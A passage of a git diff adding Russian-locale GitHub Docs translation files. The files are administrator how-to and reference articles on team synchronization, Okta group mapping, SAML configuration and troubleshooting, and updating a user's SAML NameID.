enterprise account. +versions: + ghec: '*' +type: how_to +topics: + - Accounts + - Enterprise + - SSO + - Teams +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/managing-team-synchronization-for-organizations-in-your-enterprise-account + - /admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise + - /admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise +shortTitle: Manage team synchronization +--- + +{% data reusables.enterprise-accounts.emu-scim-note %} + +## About team synchronization for enterprise accounts + +If you use SAML at the enterprise level with Azure AD as your IdP, you can enable team synchronization for your enterprise account to allow organization owners and team maintainers to synchronize teams in the organizations owned by your enterprise accounts with IdP groups. + +{% data reusables.identity-and-permissions.about-team-sync %} + +{% data reusables.identity-and-permissions.sync-team-with-idp-group %} + +{% data reusables.identity-and-permissions.team-sync-disable %} + +You can also configure and manage team synchronization for an individual organization. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)." + +{% data reusables.identity-and-permissions.team-sync-usage-limits %} + +## Prerequisites + +You or your Azure AD administrator must be a Global administrator or a Privileged Role administrator in Azure AD. + +You must enforce SAML single sign-on for organizations in your enterprise account with your supported IdP. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." + +You must authenticate to your enterprise account using SAML SSO and the supported IdP. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." + +## Managing team synchronization for Azure AD + +{% data reusables.identity-and-permissions.team-sync-azure-permissions %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +{% data reusables.identity-and-permissions.team-sync-confirm-saml %} +{% data reusables.identity-and-permissions.enable-team-sync-azure %} +{% data reusables.identity-and-permissions.team-sync-confirm %} +7. Review the details for the IdP tenant you want to connect to your enterprise account, then click **Approve**. + ![Pending request to enable team synchronization to a specific IdP tenant with option to approve or cancel request](/assets/images/help/teams/approve-team-synchronization.png) +8. To disable team synchronization, click **Disable team synchronization**. + ![Disable team synchronization](/assets/images/help/teams/disable-team-synchronization.png) diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/mapping-okta-groups-to-teams.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/mapping-okta-groups-to-teams.md new file mode 100644 index 000000000000..84e39934cec6 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/mapping-okta-groups-to-teams.md @@ -0,0 +1,105 @@ +--- +title: Сопоставление групп Okta с командами +shortTitle: Map Okta groups to teams +intro: 'Группы Okta можно сопоставить с командами в {% data variables.product.prodname_ghe_managed %}, чтобы автоматически добавлять и удалять участников группы.' +permissions: 'Enterprise owners can configure authentication and provisioning for {% data variables.product.prodname_ghe_managed %}.' +versions: + ghae: '*' +redirect_from: + - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams + - /admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +ms.openlocfilehash: 43185a1593892086064588ceb593a72b9d93ea3f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116539' +--- +{% data reusables.saml.okta-ae-sso-beta %} + +## Сведения о сопоставлении команд + +Если вы используете Okta в качестве поставщика удостоверений, можно сопоставить группу Okta с командой в {% data variables.product.prodname_ghe_managed %}. Участники группы Okta автоматически становятся участниками сопоставленной команды в {% data variables.product.prodname_ghe_managed %}. Чтобы настроить это сопоставление, можно настроить приложение Okta "GitHub AE" для отправки группы и ее участников в {% data variables.product.prodname_ghe_managed %}. Затем можно выбрать, какая команда в {% data variables.product.prodname_ghe_managed %} будет сопоставлена с группой Okta. + +## Предварительные требования + +Вы или администратор Okta должны быть глобальным администратором или администратором привилегированных ролей в Okta. + +Необходимо включить единый вход SAML с использованием Okta. Дополнительные сведения см. в разделе [Настройка единого входа SAML для вашего предприятия](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise). + +Вам необходимо пройти проверку подлинности в своей учетной записи предприятия с помощью единого входа SAML и Okta. Дополнительные сведения см. в разделе [Проверка подлинности с помощью единого входа SAML](/github/authenticating-to-github/authenticating-with-saml-single-sign-on). + +## Назначение группы Okta приложению GitHub AE + +1. На панели мониторинга Okta откройте параметры группы. +1. Нажмите кнопку **Manage Apps** (Управление приложениями). + ![Добавление группы в приложение](/assets/images/help/saml/okta-ae-group-add-app.png) + +1. Справа от GitHub AE нажмите кнопку **Assign** (Назначить). + + ![Назначение приложения](/assets/images/help/saml/okta-ae-assign-group-to-app.png) + +1. Нажмите кнопку **Done**(Готово). + +## Отправка группы Okta в {% data variables.product.prodname_ghe_managed %} + +При отправке и сопоставлении группы Okta с командой все участники группы смогут входить в {% data variables.product.prodname_ghe_managed %}. + +{% data reusables.saml.okta-ae-applications-menu %} {% data reusables.saml.okta-ae-configure-app %} + +1. Нажмите кнопку **Push Groups** (Отправить группы). + + ![Вкладка "Push Groups" (Отправить группы)](/assets/images/help/saml/okta-ae-push-groups-tab.png) + +1. В раскрывающееся меню "Push Groups" (Отправить группы) выберите **Find groups by name** (Найти группы по имени). + + ![Кнопка добавления групп](/assets/images/help/saml/okta-ae-push-groups-add.png) + +1. Введите имя группы для отправки в {% data variables.product.prodname_ghe_managed %}, а затем нажмите кнопку **Save** (Сохранить). + + ![Добавление имени группы](/assets/images/help/saml/okta-ae-push-groups-by-name.png) + +## Сопоставление команды с группой Okta + +Можно сопоставить команду в организации с группой Okta, которая ранее была отправлена в {% data variables.product.prodname_ghe_managed %}. После этого участники группы Okta автоматически становятся участниками команды в {% data variables.product.prodname_ghe_managed %}. Все последующие изменения членства в группе Okta автоматически синхронизируются с командой {% data variables.product.prodname_ghe_managed %}. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} +6. В разделе "Identity Provider Group" (Группа поставщиков удостоверений) в раскрывающемся меню и выберите группу поставщиков удостоверений. + ![Раскрывающееся меню для выбора группы поставщика удостоверений](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png) +7. Нажмите кнопку **Сохранить изменения**. + +## Проверка состояния сопоставленных команд + +Владельцы предприятия могут использовать панель мониторинга администрирования сайта для просмотра того, как группы Okta сопоставляются с командами в {% data variables.product.prodname_ghe_managed %}. + +1. Чтобы получить доступ к панели мониторинга, щелкните значок {% octicon "rocket" aria-label="The rocket ship" %} в правом верхнем углу любой страницы. + ![Значок ракеты для доступа к параметрам администратора сайта](/assets/images/enterprise/site-admin-settings/access-new-settings.png) + +1. В левой области щелкните **External groups** (Внешние группы). + + ![Добавление имени группы](/assets/images/help/saml/okta-ae-site-admin-external-groups.png) + +1. Чтобы просмотреть дополнительные сведения о группе, щелкните группу в списке внешних групп. + + ![Список внешних групп](/assets/images/help/saml/okta-ae-site-admin-list-groups.png) + +1. Сведения о группе включают имя группы Okta, список пользователей Okta, являющихся членами группы, и соответствующую сопоставленную команду в {% data variables.product.prodname_ghe_managed %}. + + ![Список внешних групп](/assets/images/help/saml/okta-ae-site-admin-group-details.png) + +## Просмотр событий журнала аудита для сопоставленных групп + + Для мониторинга активности единого входа для сопоставленных групп можно просмотреть следующие события в журнале аудита {% data variables.product.prodname_ghe_managed %}. + +{% data reusables.saml.external-group-audit-events %} + +{% data reusables.saml.external-identity-audit-events %} + +Дополнительные сведения см. в разделе [Просмотр журнала аудита для вашей организации](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization). diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md new file mode 100644 index 000000000000..a7575e8ea905 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference.md @@ -0,0 +1,150 @@ +--- +title: SAML configuration reference +shortTitle: SAML reference +intro: 'You can see SAML metadata for {% ifversion ghec %}your organization or enterprise on {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %}, and you can learn more about available SAML attributes and response requirements.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: reference +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +--- + +## About SAML configuration + +To use SAML single sign-on (SSO) for authentication to {% data variables.product.product_name %}, you must configure both your external SAML identity provider (IdP) and {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghec %}your enterprise or organization on {% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %}. In a SAML configuration, {% data variables.product.product_name %} functions as a SAML service provider (SP). + +You must enter unique values from your SAML IdP when configuring SAML SSO for {% data variables.product.product_name %}, and you must also enter unique values from {% data variables.product.product_name %} on your IdP. For more information about the configuration of SAML SSO for {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise){% ifversion ghes or ghae %}{% elsif ghec %}" or "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization){% endif %}." + +## SAML metadata + +{% ifversion ghec %} + +The SP metadata for {% data variables.product.product_name %} is available for either organizations or enterprises with SAML SSO. {% data variables.product.product_name %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. + +### Organizations + +You can configure SAML SSO for an individual organization in your enterprise. You can also configure SAML SSO for an organization if you use an individual organization on {% data variables.product.product_name %} and do not use an enterprise account. For more information, see "[Managing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization)." + +The SP metadata for an organization on {% data variables.location.product_location %} is available at `https://github.com/orgs/ORGANIZATION/saml/metadata`, where **ORGANIZATION** is the name of your organization on {% data variables.location.product_location %}. + +| Value | Other names | Description | Example | +| :- | :- | :- | :- | +| SP Entity ID | SP URL, audience restriction | The top-level URL for your organization on {% data variables.location.product_location %} | `https://github.com/orgs/ORGANIZATION` | +| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://github.com/orgs/ORGANIZATION/saml/consume` | +| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `https://github.com/orgs/ORGANIZATION/saml/sso` | + +### Enterprises + +The SP metadata for an enterprise on {% data variables.location.product_location %} is available at `https://github.com/enterprises/ENTERPRISE/saml/metadata`, where **ENTERPRISE** is the name of your enterprise on {% data variables.location.product_location %}. + +| Value | Other names | Description | Example | +| :- | :- | :- | :- | +| SP Entity ID | SP URL, audience restriction | The top-level URL for your enterprise on {% data variables.location.product_location %} | `https://github.com/enterprises/ENTERPRISE` | +| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://github.com/enterprises/ENTERPRISE/saml/consume` | +| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `https://github.com/enterprises/ENTERPRISE/saml/sso` | + +{% elsif ghes %} + +The SP metadata for {% data variables.location.product_location %} is available at `http(s)://HOSTNAME/saml/metadata`, where **HOSTNAME** is the hostname for your instance. {% data variables.product.product_name %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. + +| Value | Other names | Description | Example | +| :- | :- | :- | :- | +| SP Entity ID | SP URL, audience restriction | Your top-level URL for {% data variables.product.product_name %} | `http(s)://HOSTNAME` +| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `http(s)://HOSTNAME/saml/consume` | +| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `http(s)://HOSTNAME/sso` | + +{% elsif ghae %} + +The SP metadata for your enterprise on {% data variables.product.product_name %} is available at `https://HOSTNAME/saml/metadata`, where **HOSTNAME** is the hostname for your enterprise on {% data variables.product.product_name %}. {% data variables.product.product_name %} uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. + +| Value | Other names | Description | Example | +| :- | :- | :- | :- | +| SP Entity ID | SP URL, audience restriction | Your top-level URL for {% data variables.product.product_name %} | `https://HOSTNAME` | +| SP Assertion Consumer Service (ACS) URL | Reply, recipient, or destination URL | URL where IdP sends SAML responses | `https://HOSTNAME/saml/consume` | +| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO | `https://HOSTNAME/sso` | + +{% endif %} + +## SAML attributes + +The following SAML attributes are available for {% data variables.product.product_name %}.{% ifversion ghes %} You can change the attribute names in the management console, with the exception of the `administrator` attribute. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."{% endif %} + +| Name | Required? | Description | +| :- | :- | :- | +| `NameID` | Yes | A persistent user identifier. Any persistent name identifier format may be used. {% ifversion ghec %}If you use an enterprise with {% data variables.product.prodname_emus %}, {% endif %}{% data variables.product.product_name %} will normalize the `NameID` element to use as a username unless one of the alternative assertions is provided. For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)."

{% note %}**Note:** It's important to use a human-readable, persistent identifier. Using a transient identifier format like `urn:oasis:names:tc:SAML:2.0:nameid-format:transient` will result in re-linking of accounts on every sign-in, which can be detrimental to authorization management.{% endnote %} | +| `SessionNotOnOrAfter` | No | The date that {% data variables.product.product_name %} invalidates the associated session. After invalidation, the person must authenticate once again to access {% ifversion ghec or ghae %}your enterprise's resources{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. For more information, see "[Session duration and timeout](#session-duration-and-timeout)." | +{%- ifversion ghes or ghae %} +| `administrator` | No | When the value is `true`, {% data variables.product.product_name %} will automatically promote the user to be a {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %}. Setting this attribute to anything but `true` will result in demotion, as long as the value is not blank. Omitting this attribute or leaving the value blank will not change the role of the user. | +| `username` | No | The username for {% data variables.location.product_location %}. | +{%- endif %} +| `full_name` | No | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} full name of the user to display on the user's profile page. | +| `emails` | No | The email addresses for the user.{% ifversion ghes or ghae %} You can specify more than one address.{% endif %}{% ifversion ghec or ghes %} If you sync license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_github_connect %} uses `emails` to identify unique users across products. For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."{% endif %} | +| `public_keys` | No | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} public SSH keys for the user. You can specify more than one key. | +| `gpg_keys` | No | {% ifversion ghec %}If you configure SAML SSO for an enterprise and you use {% data variables.product.prodname_emus %}, the{% else %}The{% endif %} GPG keys for the user. You can specify more than one key. | + +To specify more than one value for an attribute, use multiple `` elements. + +```xml + + ssh-rsa LONG KEY + ssh-rsa LONG KEY 2 + +``` + +## SAML response requirements + +{% data variables.product.product_name %} requires that the response message from your IdP fulfill the following requirements. + +- Your IdP must provide the `` element on the root response document and match the ACS URL only when the root response document is signed. If your IdP signs the assertion, {% data variables.product.product_name %} will ignore the assertion. +- Your IdP must always provide the `` element as part of the `` element. The value must match your `EntityId` for {% data variables.product.product_name %}.{% ifversion ghes or ghae %} This value is the URL where you access {% data variables.location.product_location %}, such as {% ifversion ghes %}`http(s)://HOSTNAME`{% elsif ghae %}`https://SUBDOMAIN.githubenterprise.com`, `https://SUBDOMAIN.github.us`, or `https://SUBDOMAIN.ghe.com`{% endif %}.{% endif %} + + {%- ifversion ghec %} + - If you configure SAML for an organization, this value is `https://github.com/orgs/ORGANIZATION`. + - If you configure SAML for an enterprise, this URL is `https://github.com/enterprises/ENTERPRISE`. + {%- endif %} +- Your IdP must protect each assertion in the response with a digital signature. You can accomplish this by signing each individual `` element or by signing the `` element. +- Your IdP must provide a `` element as part of the `` element. You may use any persistent name identifier format. +- Your IdP must include the `Recipient` attribute, which must be set to the ACS URL. The following example demonstrates the attribute. + + ```xml + + + + ... + + + + + + + monalisa + + + + + ``` + +## Session duration and timeout + +To prevent a person from authenticating with your IdP and staying authorized indefinitely, {% data variables.product.product_name %} periodically invalidates the session for each user account with access to {% ifversion ghec or ghae %}your enterprise's resources{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. After invalidation, the person must authenticate with your IdP once again. By default, if your IdP does not assert a value for the `SessionNotOnOrAfter` attribute, {% data variables.product.product_name %} invalidates a session {% ifversion ghec %}24 hours{% elsif ghes or ghae %}one week{% endif %} after successful authentication with your IdP. + +To customize the session duration, you may be able to define the value of the `SessionNotOnOrAfter` attribute on your IdP. If you define a value less than 24 hours, {% data variables.product.product_name %} may prompt people to authenticate every time {% data variables.product.product_name %} initiates a redirect. + +{% ifversion ghec %} +To prevent authentication errors, we recommend a minimum session duration of 4 hours. For more information, see "[Troubleshooting SAML authentication](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#users-are-repeatedly-redirected-to-authenticate)." +{% endif %} + +{% note %} + +**Notes**: + +- For Azure AD, the configurable lifetime policy for SAML tokens does not control session timeout for {% data variables.product.product_name %}. +- Okta does not currently send the `SessionNotOnOrAfter` attribute during SAML authentication with {% data variables.product.product_name %}. For more information, contact Okta. + +{% endnote %} diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md new file mode 100644 index 000000000000..cb1d25662b76 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md @@ -0,0 +1,45 @@ +--- +title: Switching your SAML configuration from an organization to an enterprise account +intro: Learn special considerations and best practices for replacing an organization-level SAML configuration with an enterprise-level SAML configuration. +permissions: Enterprise owners can configure SAML single sign-on for an enterprise account. +versions: + ghec: '*' +topics: + - Authentication + - Enterprise + - Organizations +type: how_to +shortTitle: From organization to enterprise +redirect_from: + - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account + - /admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account + - /admin/identity-and-access-management/managing-iam-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account +--- + +## About SAML single sign-on for enterprise accounts + +{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} + +{% data reusables.saml.switching-from-org-to-enterprise %} + +When you configure SAML SSO at the organization level, each organization must be configured with a unique SSO tenant in your IdP, which means that your members will be associated with a unique SAML identity record for each organization they have successfully authenticated with. If you configure SAML SSO for your enterprise account instead, each enterprise member will have one SAML identity that is used for all organizations owned by the enterprise account. + +After you configure SAML SSO for your enterprise account, the new configuration will override any existing SAML SSO configurations for organizations owned by the enterprise account. + +Enterprise members will not be notified when an enterprise owner enables SAML for the enterprise account. If SAML SSO was previously enforced at the organization level, members should not see a major difference when navigating directly to organization resources. The members will continue to be prompted to authenticate via SAML. If members navigate to organization resources via their IdP dashboard, they will need to click the new tile for the enterprise-level app, instead of the old tile for the organization-level app. The members will then be able to choose the organization to navigate to. + +Any {% data variables.product.pat_generic %}s, SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were previously authorized for the organization will continue to be authorized for the organization. However, members will need to authorize any PATs, SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were never authorized for use with SAML SSO for the organization. + +SCIM provisioning is not currently supported when SAML SSO is configured for an enterprise account. If you are currently using SCIM for an organization owned by your enterprise account, you will lose this functionality when switching to an enterprise-level configuration. + +You are not required to remove any organization-level SAML configurations before configuring SAML SSO for your enterprise account, but you may want to consider doing so. If SAML is ever disabled for the enterprise account in the future, any remaining organization-level SAML configurations will take effect. Removing the organization-level configurations can prevent unexpected issues in the future. + +## Switching your SAML configuration from an organization to an enterprise account + +1. Enforce SAML SSO for your enterprise account, making sure all organization members are assigned or given access to the IdP app being used for the enterprise account. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." +1. Optionally, remove any existing SAML configuration for organizations owned by the enterprise account. To help you decide whether to remove the configurations, see "[About SAML single sign-on for enterprise accounts](#about-saml-single-sign-on-for-enterprise-accounts)." +1. If you kept any organization-level SAML configurations in place, to prevent confusion, consider hiding the tile for the organization-level apps in your IdP. +1. Advise your enterprise members about the change. + - Members will no longer be able to access their organizations by clicking the SAML app for the organization in the IdP dashboard. They will need to use the new app configured for the enterprise account. + - Members will need to authorize any PATs or SSH keys that were not previously authorized for use with SAML SSO for their organization. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)." + - Members may need to reauthorize {% data variables.product.prodname_oauth_apps %} that were previously authorized for the organization. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso)." diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication.md new file mode 100644 index 000000000000..34adc3917c1c --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication.md @@ -0,0 +1,111 @@ +--- +title: Troubleshooting SAML authentication +shortTitle: Troubleshoot SAML SSO +intro: 'If you use SAML single sign-on (SSO) and people are unable to authenticate to access {% data variables.location.product_location %}, you can troubleshoot the problem.' +versions: + ghes: '*' + ghec: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - Security + - SSO + - Troubleshooting +--- + +{% ifversion ghes %} +## About problems with SAML authentication + +{% data variables.product.product_name %} logs error messages for failed SAML authentication in the authentication log at _/var/log/github/auth.log_. You can review responses in this log file, and you can also configure more verbose logging. + +For more information about SAML response requirements, see "[SAML configuration reference](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#saml-response-requirements)." + +## Configuring SAML debugging + +You can configure {% data variables.product.product_name %} to write verbose debug logs to _/var/log/github/auth.log_ for every SAML authentication attempt. You may be able to troubleshoot failed authentication attempts with this extra output. + +{% warning %} + +**Warnings**: + +- Only enable SAML debugging temporarily, and disable debugging immediately after you finish troubleshooting. If you leave debugging enabled, the size of your log may increase much faster than usual, which can negatively impact the performance of {% data variables.product.product_name %}. +- Test new authentication settings for {% data variables.location.product_location %} in a staging environment before you apply the settings in your production environment. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." + +{% endwarning %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.options-tab %} +1. Under "SAML debugging", select the drop-down and click **Enabled**. + + ![Screenshot of drop-down to enable SAML debugging](/assets/images/enterprise/site-admin-settings/site-admin-saml-debugging-enabled.png) + +1. Attempt to sign into {% data variables.location.product_location %} through your SAML IdP. + +1. Review the debug output in _/var/log/github/auth.log_ on {% data variables.location.product_location %}. + +1. When you're done troubleshooting, select the drop-down and click **Disabled**. + + ![Screenshot of drop-down to disable SAML debugging](/assets/images/enterprise/site-admin-settings/site-admin-saml-debugging-disabled.png) + +## Decoding responses in _auth.log_ + +Some output in _auth.log_ may be Base64-encoded. You can access the administrative shell and use the `base64` utility on {% data variables.location.product_location %} to decode these responses. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." + +```shell +$ base64 --decode ENCODED_OUTPUT +``` + +## Error: "Another user already owns the account" + +When a user signs into {% data variables.location.product_location %} for the first time with SAML authentication, {% data variables.product.product_name %} creates a user account on the instance and maps the SAML `NameID` to the account. + +When the user signs in again, {% data variables.product.prodname_ghe_server %} compares the account's `NameID` mapping to the IdP's response. If the `NameID` in the IdP's response no longer matches the `NameID` that {% data variables.product.product_name %} expects for the user, the sign-in will fail. The user will see the following message. + +> Another user already owns the account. Please have your administrator check the authentication log. + +The message typically indicates that the person's username or email address has changed on the IdP. Ensure that the `NameID` mapping for the user account on {% data variables.product.prodname_ghe_server %} matches the user's `NameID` on your IdP. For more information, see "[Updating a user's SAML `NameID`](/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid)." + +## Error: Recipient in SAML response was blank or not valid + +If the `Recipient` does not match the ACS URL for {% data variables.location.product_location %}, one of the following two error messages will appear in the authentication log when a user attempts to authenticate. + +``` +Recipient in the SAML response must not be blank. +``` + +``` +Recipient in the SAML response was not valid. +``` + +Ensure that you set the value for `Recipient` on your IdP to the full ACS URL for {% data variables.location.product_location %}. For example, `https://ghe.corp.example.com/saml/consume`. + +## Error: "SAML Response is not signed or has been modified" + +If your IdP does not sign the SAML response, or the signature does not match the contents, the following error message will appear in the authentication log. + +``` +SAML Response is not signed or has been modified. +``` + +Ensure that you configure signed assertions for the {% data variables.product.product_name %} application on your IdP. + +## Error: "Audience is invalid" or "No assertion found" + +If the IdP's response has a missing or incorrect value for `Audience`, the following error message will appear in the authentication log. + +``` +Audience is invalid. Audience attribute does not match https://YOUR-INSTANCE-URL +``` + +Ensure that you set the value for `Audience` on your IdP to the `EntityId` for {% data variables.location.product_location %}, which is the full URL to your instance. For example, `https://ghe.corp.example.com`. +{% endif %} + +{% data reusables.saml.current-time-earlier-than-notbefore-condition %} + +{% ifversion ghec %} +{% data reusables.saml.authentication-loop %} +{% endif %} diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md new file mode 100644 index 000000000000..65bdad9b8c43 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md @@ -0,0 +1,35 @@ +--- +title: Updating a user's SAML NameID +shortTitle: Update SAML NameID +intro: 'When an account''s `NameID` changes on your identity provider (IdP) and the person can no longer {% ifversion ghes or ghae %}sign into {% data variables.location.product_location %}{% elsif ghec %}authenticate to access your enterprise''s resources{% endif %}, you must {% ifversion ghec %}either contact {% data variables.product.company_short %} Support or revoke the person''s linked identity{% elsif ghes %}update the `NameID` mapping on {% data variables.location.product_location %}{% elsif ghae %}contact {% data variables.product.company_short %} Support{% endif %}.' +versions: + ghes: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +--- + +## About updates to users' SAML `NameID` + +In some situations, you may need to update values associated with a person's account on your SAML IdP. If that identifier is also the `NameID` that you use for authentication on {% data variables.product.product_name %}, you must update the `NameID` mapping on your instance so the person can continue to authenticate successfully. For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)." + +## Updating a user's SAML `NameID` + +Enterprise owners can update a user's SAML `NameID` on a {% data variables.product.product_name %} instance. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +2. In the left sidebar, click **All users**. + !["All users" sidebar item in site administrator settings](/assets/images/enterprise/site-admin-settings/all-users.png) +3. In the list of users, click the username you'd like to update the `NameID` mapping for. + ![Username in list of instance user accounts](/assets/images/enterprise/site-admin-settings/all-users-click-username.png) +{% data reusables.enterprise_site_admin_settings.security-tab %} +5. To the right of "Update SAML NameID", click **Edit** . + !["Edit" button under "SAML authentication" and to the right of "Update SAML NameID"](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png) +6. In the "NameID" field, type the new `NameID` for the user. + !["NameID" field in modal dialog with NameID typed](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png) +7. Click **Update NameID**. + !["Update NameID" button under updated NameID value within modal](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png) diff --git a/translations/ru-RU/content/admin/index.md b/translations/ru-RU/content/admin/index.md new file mode 100644 index 000000000000..9d5f299ed585 --- /dev/null +++ b/translations/ru-RU/content/admin/index.md @@ -0,0 +1,135 @@ +--- +title: Документация администратора предприятия +shortTitle: Enterprise administrators +intro: 'Документация и руководства 